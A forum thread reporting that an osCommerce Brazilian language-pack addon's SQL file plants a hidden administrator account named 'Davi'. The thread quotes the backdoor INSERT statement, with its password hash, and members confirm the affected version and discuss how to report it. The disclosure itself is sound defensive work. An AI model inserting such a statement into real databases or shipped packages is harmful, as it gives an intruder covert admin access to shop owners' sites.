Security issue with Brazilian language addon

[VictorSalechov]

Hi all,

 

I registered just to let you know that following addon: http://addons.oscommerce.com/info/5571 , which is a Brazilian language pack, if user imports SQL file, it creates an unauthorized administrator with username Davi, hence code from the SQL_POTUGUES.sql :

 

insert into `administrators`(`user_name`,`user_password`) values ('Davi','8a1d681975271cf1b51e950b32051276:92');

 

PS: oscommerce rockz :)

[VictorSalechov]

It still pisses me off, someone has imported this sql file to my database, now i have to undo it.

[♥kymation]

Verified. The code only exists in the 25 Nov 2008 version; the previous release is OK.

 

The next time you see something like this, use the Report button on the Addon to report it to a moderator.

 

Speaking of moderators, better get rid of that link in your Sig before a mod does it for you.

 

Regards

Jim

[VictorSalechov]

Thanks for the info Jim. I was looking for report button, still can't fine one 0_o

[♥kymation]

You need to click the History tab on the addon page. The Report icon is the one to the right. You may need to be logged in; I'm not sure about that part.

 

What makes me mad is this has been in the code for three years.

 

Regards

Jim

[Taipo]

I think its open posting on that addon so someone may be able to upload an amended addon or at least a note to warn about the administrator insert code.